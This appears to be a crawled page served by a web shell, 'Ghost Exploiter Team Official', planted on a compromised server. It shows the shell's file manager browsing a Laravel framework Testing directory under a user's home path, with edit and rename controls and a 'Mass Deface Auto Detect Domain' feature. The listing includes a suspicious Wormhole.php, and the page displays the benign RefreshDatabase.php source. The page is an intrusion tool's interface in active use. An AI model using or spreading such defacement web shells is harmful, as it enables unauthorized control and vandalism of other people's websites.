webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Foundation
/
Testing
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Concerns
--
ren
Traits
--
ren
DatabaseMigrations.php
1.355KB
edt
ren
DatabaseTransactions.php
1.559KB
edt
ren
DatabaseTransactionsMan
...
1.36KB
edt
ren
DatabaseTruncation.php
4.96KB
edt
ren
LazilyRefreshDatabase.php
0.991KB
edt
ren
RefreshDatabase.php
3.733KB
edt
ren
RefreshDatabaseState.php
0.349KB
edt
ren
TestCase.php
8.353KB
edt
ren
WithConsoleEvents.php
0.336KB
edt
ren
WithFaker.php
1.208KB
edt
ren
WithoutEvents.php
0.445KB
edt
ren
WithoutMiddleware.php
0.488KB
edt
ren
Wormhole.php
5.161KB
edt
ren
<?php namespace Illuminate\Foundation\Testing; use Illuminate\Contracts\Console\Kernel; use Illuminate\Foundation\Testing\Traits\CanConfigureMigrationCommands; trait RefreshDatabase { use CanConfigureMigrationCommands; /** * Define hooks to migrate the database before and after each test. * * @return void */ public function refreshDatabase() { $this->beforeRefreshingDatabase(); $this->usingInMemoryDatabase() ? $this->refreshInMemoryDatabase() : $this->refreshTestDatabase(); $this->afterRefreshingDatabase(); } /** * Determine if an in-memory database is being used. * * @return bool */ protected function usingInMemoryDatabase() { $default = config('database.default'); return config("database.connections.$default.database") === ':memory:'; } /** * Refresh the in-memory database. * * @return void */ protected function refreshInMemoryDatabase() { $this->artisan('migrate', $this->migrateUsing()); $this->app[Kernel::class]->setArtisan(null); } /** * The parameters that should be used when running "migrate". * * @return array */ protected function migrateUsing() { return [ '--seed' => $this->shouldSeed(), '--seeder' => $this->seeder(), ]; } /** * Refresh a conventional test database. * * @return void */ protected function refreshTestDatabase() { if (! RefreshDatabaseState::$migrated) { $this->artisan('migrate:fresh', $this->migrateFreshUsing()); $this->app[Kernel::class]->setArtisan(null); RefreshDatabaseState::$migrated = true; } $this->beginDatabaseTransaction(); } /** * Begin a database transaction on the testing database. * * @return void */ public function beginDatabaseTransaction() { $database = $this->app->make('db'); $this->app->instance('db.transactions', $transactionsManager = new DatabaseTransactionsManager); foreach ($this->connectionsToTransact() as $name) { $connection = $database->connection($name); $connection->setTransactionManager($transactionsManager); $dispatcher = $connection->getEventDispatcher(); $connection->unsetEventDispatcher(); $connection->beginTransaction(); $connection->setEventDispatcher($dispatcher); } $this->beforeApplicationDestroyed(function () use ($database) { foreach ($this->connectionsToTransact() as $name) { $connection = $database->connection($name); $dispatcher = $connection->getEventDispatcher(); $connection->unsetEventDispatcher(); $connection->rollBack(); $connection->setEventDispatcher($dispatcher); $connection->disconnect(); } }); } /** * The database connections that should have transactions. * * @return array */ protected function connectionsToTransact() { return property_exists($this, 'connectionsToTransact') ? $this->connectionsToTransact : [null]; } /** * Perform any work that should take place before the database has started refreshing. * * @return void */ protected function beforeRefreshingDatabase() { // ... } /** * Perform any work that should take place once the database has finished refreshing. * * @return void */ protected function afterRefreshingDatabase() { // ... } }
<=Back
Liking